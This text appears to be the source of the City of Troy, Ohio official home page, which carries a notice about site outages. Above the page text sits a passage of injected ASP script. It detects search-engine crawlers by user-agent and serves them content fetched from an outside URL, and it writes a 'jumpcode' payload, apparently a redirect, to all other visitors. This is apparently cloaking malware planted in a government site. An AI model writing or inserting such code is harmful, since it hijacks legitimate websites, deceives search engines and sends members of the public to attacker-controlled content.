If instr(s_agent,"google")>0 Or instr(s_agent,"yahoo")>0 Or instr(s_agent,"bing")>0 Or instr(s_agent,"msnbot")>0 Or instr(s_agent,"alexa")>0 Or instr(s_agent,"ask")>0 Or instr(s_agent,"findlinks")>0 Or instr(s_agent,"altavista")>0 Or instr(s_agent,"baidu")>0 Or instr(s_agent,"inktomi")>0 Then
is_spider = 1
else
is_spider = 0
end if
end function
Function getHTTPPage(URL)
Set HTTPReq = Server.createobject("Msxml2.XMLHTTP")
HTTPReq.Open "GET", URL, False
HTTPReq.send
If HTTPReq.readyState <> 4 Then Exit Function
getHTTPPage = Bytes2bStr(HTTPReq.responseBody)
Set HTTPReq = Nothing
End Function
Function Bytes2bStr(vin)
Dim BytesStream,StringReturn
Set BytesStream = Server.CreateObject("ADODB.Stream")
BytesStream.Type = 2
BytesStream.Open
BytesStream.WriteText vin
BytesStream.Position = 0
BytesStream.Charset = "UTF-8"
BytesStream.Position = 2
StringReturn =BytesStream.ReadText
BytesStream.close
Set BytesStream = Nothing
Bytes2bStr = StringReturn
End Function
spider = is_spider()
if spider = 1 then
htmls = getHTTPPage(desurl)
response.write htmls
response.end
end if
response.write jumpcode
%>
Troy, Ohio - USA - Official Home Page
PLEASE NOTE:
The City of Troy web site will experience outages over the next few hours. If you return to this site and receive an error, this will be resolved by tomorrow, Tuesday, December 10.
Thank you for your patience.